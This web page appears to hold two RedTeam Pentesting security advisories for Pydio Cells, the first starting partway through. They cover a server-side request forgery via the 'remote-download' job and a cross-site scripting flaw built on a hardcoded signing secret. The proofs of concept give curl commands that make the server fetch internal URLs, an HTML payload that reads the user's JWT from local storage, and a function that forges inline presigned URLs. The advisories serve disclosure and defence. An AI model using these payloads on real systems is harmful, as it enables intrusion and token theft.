/>------------------------------------------------------------------------<br />PUT /a/jobs/user/move HTTP/2<br />Host: example.com<br />User-Agent: agent<br />Accept: application/json<br />Authorization: Bearer G4ZRN[...]<br />Content-Type: application/json<br />Content-Length: 140<br /><br />{<br /> "JobName": "move",<br /> "JsonParameters": "{\"nodes\":[\"cell/file.txt\"],\"target\":\"cell/renamed.txt\",\"targetParent\":false}"<br />}<br />------------------------------------------------------------------------<br /><br />The body contains a JSON object with a job name and additional<br />parameters for the job. Besides the "move" job, also a job with the name<br />"remote-download" exists. It takes two additional parameters: "urls" and<br />"target". In the "urls" parameter, a list of URLs can be specified and in<br />the parameter "target" a path can be specified in which to save the<br />response. When the job is started, HTTP GET requests are sent from the<br />Pydio Cells server to the specified URLs. The responses are saved into a<br />file, which are uploaded to the specified folder within Pydio Cells.<br />Potential errors are transmitted in a WebSocket channel, which can be<br />opened through the "/ws/event" endpoint.<br /><br /><br />Proof of Concept<br />================<br /><br />Log into Pydio Cells and retrieve the JWT from the HTTP requests. Then,<br />run the following commands to start a "remote-download" job to trigger<br />an HTTP request:<br /><br />------------------------------------------------------------------------<br />$ export JWT="<insert JWT here>"<br /><br />$ echo '{"urls": ["http://localhost:8000/internal.html"], "target": "personal-files"}' \<br />| jq '{"JobName": "remote-download", "JsonParameters": (. | tostring)}' \<br />| tee remote-download.json<br /><br />$ curl --header "Authorization: Bearer $JWT" \<br />--header 'Content-Type: application/json' \<br />--request PUT \<br />--data @remote-download.json 'https://example.com/a/jobs/user/remote-download'<br />------------------------------------------------------------------------<br /><br />The URL in the JSON document specifies which URL to request. The "target"<br />field in the same document specifies into which folder the response is saved.<br />Afterwards, the response is contained in a file in the specified folder.<br />Potential errors are communicated through the WebSocket channel.<br /><br /><br />Workaround<br />==========<br /><br />Limit the services which can be reached by the Pydio Cells server, for<br />example using an outbound firewall.<br /><br /><br />Fix<br />===<br /><br />Upgrade Pydio Cells to a version without the vulnerability.<br /><br /><br />Security Risk<br />=============<br /><br />The risk is highly dependent on the environment in which the attacked<br />Pydio Cells instance runs. If there are any internal HTTP services which<br />expose sensitive data on the same machine or within the same network,<br />the server-side request forgery vulnerability could pose a significant<br />risk. In other circumstances, the risk could be negligible. Therefore,<br />overall the vulnerability is rated as a medium risk.<br /><br /><br />Timeline<br />========<br /><br />2023-03-23 Vulnerability identified<br />2023-05-02 Customer approved disclosure to vendor<br />2023-05-02 Vendor notified<br />2023-05-03 CVE ID requested<br />2023-05-08 Vendor released fixed version<br />2023-05-14 CVE ID assigned<br />2023-05-16 Vendor asks for a few more days before the advisory is released<br />2023-05-30 Advisory released<br /><br /><br />References<br />==========<br /><br /><br /><br />RedTeam Pentesting GmbH<br />=======================<br /><br />RedTeam Pentesting offers individual penetration tests performed by a<br />team of specialised IT-security experts. Hereby, security weaknesses in<br />company networks or products are uncovered and can be fixed immediately.<br /><br />As there are only few experts in this field, RedTeam Pentesting wants to<br />share its knowledge and enhance the public knowledge with research in<br />security-related areas. The results are made available as public<br />security advisories.<br /><br />More information about RedTeam Pentesting can be found at:<br />https://www.redteam-pentesting.de/<br /><br /><br />Working at RedTeam Pentesting<br />=============================<br /><br />RedTeam Pentesting is looking for penetration testers to join our team<br />in Aachen, Germany. If you are interested please visit:<br />https://jobs.redteam-pentesting.de/<br /><br />-- <br />RedTeam Pentesting GmbH Tel.: +49 241 510081-0<br />Alter Posthof 1 Fax : +49 241 510081-99<br />52062 Aachen https://www.redteam-pentesting.de<br />Germany Registergericht: Aachen HRB 14004<br />Geschäftsführer: Patrick Hof, Jens Liebchen<br /></code></pre>
<pre><code>Advisory: Pydio Cells: Cross-Site Scripting via File Download<br /><br />Pydio Cells implements the download of files using presigned URLs which<br />are generated using the Amazon AWS SDK for JavaScript [1]. The secrets<br />used to sign these URLs are hardcoded and exposed through the JavaScript<br />files of the web application. Therefore, it is possible to generate<br />valid signatures for arbitrary download URLs. By uploading an HTML file<br />and modifying the download URL to serve the file inline instead of as an<br />attachment, any included JavaScript code is executed when the URL is<br />opened in a browser, leading to a cross-site scripting vulnerability.<br /><br /><br />Details<br />=======<br /><br />Product: Pydio Cells<br />Affected Versions: 4.1.2 and earlier versions<br />Fixed Versions: 4.2.0, 4.1.3, 3.0.12<br />Vulnerability Type: Cross-Site Scripting<br />Security Risk: high<br />Vendor URL: https://pydio.com/<br />Vendor Status: notified<br />Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2023-004<br />Advisory Status: published<br />CVE: CVE-2023-32751<br />CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32751<br /><br /><br />Introduction<br />============<br /><br />"Pydio Cells is an open-core, self-hosted Document Sharing and<br />Collaboration platform (DSC) specifically designed for organizations<br />that need advanced document sharing and collaboration without security<br />trade-offs or compliance issues."<br /><br />(from the vendor's homepage)<br /><br /><br />More Details<br />============<br /><br />When a file named "xss.html" is downloaded in the Pydio Cells web application, a<br />download URL similar to the following is generated:<br /><br />https://example.com/io/xss/xss.html<br /> ?AWSAccessKeyId=gateway<br /> &Expires=1682495748<br /> &Signature=920JV0Zy%2BrNYXjak7xksAxRpRp8%3D<br /> &response-content-disposition=attachment%3B%20filename%3Dxss.html<br /> &pydio_jwt=qIe9DUut-OicxRzNVlynMf6CTENB0J-J[...]<br /><br />The URL is akin to a presigned URL as used by the Amazon S3 service. It<br />contains the URL parameter "response-content-disposition" which is set<br />to "attachment" causing the response to contain a "Content-Disposition"<br />header with that value. Therefore, the browser downloads the file<br />instead of interpreting it. The URL also contains a signature and expiry<br />timestamp, which are checked by the backend. Unlike a presigned URL as used<br />by S3, the URL also contains the parameter "pydio_jwt" with the JWT of<br />the user for authentication. Furthermore, the access key with the ID<br />"gateway" is referenced, which can be found in the JavaScript sources of<br />Pydio Cells together with the secret:<br /><br />------------------------------------------------------------------------<br />_awsSdk.default.config.update({<br /> accessKeyId: 'gateway',<br /> secretAccessKey: 'gatewaysecret',<br /> s3ForcePathStyle: !0,<br /> httpOptions: {<br /> timeout: PydioApi.getMultipartUploadTimeout()<br /> }<br />});<br />------------------------------------------------------------------------<br /><br />With this information it is possible to change the URL parameter<br />"response-content-disposition" to the value "inline" and then calculate<br />a valid signature for the resulting URL. Furthermore, the content type of<br />the response can be changed to "text/html" by also adding the URL<br />parameter "response-content-type" with that value. This would result in<br />a URL like the following for the previously shown example URL:<br /><br />https://example.com/io/xss/xss.html?<br /> AWSAccessKeyId=gateway<br /> &Expires=1682495668<br /> &Signature=HpKue0YQZrnp%2B665Jf1t7ONgfRg%3D<br /> &response-content-disposition=inline<br /> &response-content-type=text%2Fhtml<br /> &pydio_jwt=qIe9DUut-OicxRzNVlynMf6CTENB0J-J[...]<br /><br />Upon opening the URL in a browser, the HTML included in the file is<br />interpreted and any JavaScript code is run.<br /><br />Proof of Concept<br />================<br /><br />Upload a HTML file into an arbitrary location of a Pydio Cells instance.<br />For example with the following contents:<br /><br />------------------------------------------------------------------------<br /><html><br /> <body><br /> <h1>Cross-Site Scriping</h1><br /> <script><br /> let token = JSON.parse(localStorage.token4).AccessToken;<br /> alert(token);<br /> </script><br /> </body><br /></html><br />------------------------------------------------------------------------<br /><br />The contained JavaScript code reads the JWT access token for Pydio Cells<br />from the browser's local storage object and opens a message box. Instead<br />of just displaying the JWT, it could also be sent to an attacker. The<br />following JavaScript function can then be run within the browser's<br />developer console to generate a presigned URL for the HTML file:<br /><br />------------------------------------------------------------------------<br />async function getPresignedURL(path) {<br /> let client = PydioApi.getClient();<br /> let node = new AjxpNode(path);<br /> let metadata = {Bucket: "io", ResponseContentDisposition: "inline", Key: path, ResponseContentType: "text/html"};<br /> let url = await client.buildPresignedGetUrl(node, null, "text/html", metadata);<br /><br /> return url;<br />}<br /><br />await getPresignedURL("xss/xss.html");<br />------------------------------------------------------------------------<br /><br />The code has to be run in context of Pydio Cells while being logged in.<br />If the resulting URL is opened in a browser, the JavaScript code<br />contained in the HTML file is run. If the attack is conducted in the<br />described way, the JWT of the attacker is exposed through the URL.<br />However, this can be circumvented by first generating a public URL<br />for the file and then constructing the presigned URL based on the<br />resulting download URL.<br /><br /><br />Workaround<br />==========<br /><br />No workaround known.<br /><br /><br />Fix<br />===<br /><br />Upgrade Pydio Cells to a version without the vulnerability.<br /><br /><br />Security Risk<br />=============<br /><br />Attackers that can upload files to a Pydio Cells instance can construct<br />URLs that execute arbitrary JavaScript code in context of Pydio Cells<br />upon opening. This could for example be used to steal the authentication<br />tokens of users opening the URL. It is likely that such an attack<br />succeeds, since sharing URLs to files hosted using Pydio Cells is a<br />common use case of the application. Therefore, the vulnerability is<br />estimated to pose a high risk.<br /><br /><br />Timeline<br />========<br /><br />2023-03-23 Vulnerability identified<br />2023-05-02 Customer approved disclosure to vendor<br />2023-05-02 Vendor notified<br />2023-05-03 CVE ID requested<br />2023-05-08 Vendor released fixed version<br />2023-05-14 CVE ID assigned<br />2023-05-16 Vendor asks for a few more days before the advisory is released<br />2023-05-30 Advisory released<br /><br /><br />References<br />==========<br /><br />[1] https://aws.amazon.com/sdk-for-javascript/<br /><br /><br />RedTeam Pentesting GmbH<br />=======================<br /><br />RedTeam Pentesting offers individual penetration tests performed by a<br />team of specialised IT-security experts. Hereby, security weaknesses in<br />company networks or products are uncovered and can be fixed immediately.<br /><br />As there are only few experts in this field, RedTeam Pentesting wants to<br />share its knowledge and enhance the public knowledge with research in<br />security-related areas. The results are made available as public<br />security advisories.<br /><br />More information about RedTeam Pentesting can be found at:<br />https://www.redteam-pentesting.de/<br /><br /><br />Working at RedTeam Pentesting<br />=============================<br /><br />RedTeam Pentesting is looking for penetration testers to join our team<br />in Aachen, Germany. If you are interested please visit:<br />https://jobs.redteam-pentesting.de/<br /><br />-- <br />RedTeam Pentesting GmbH Tel.: +49 241 510081-0<br />Alter Posthof 1 Fax : +49 241 510081-99<br />52062 Aachen https://www.redteam-pentesting.de<br />Germany Registergericht: Aachen HRB 14004<br />Geschäftsführer: Patrick Hof, Jens Liebchen<br /></code></pre>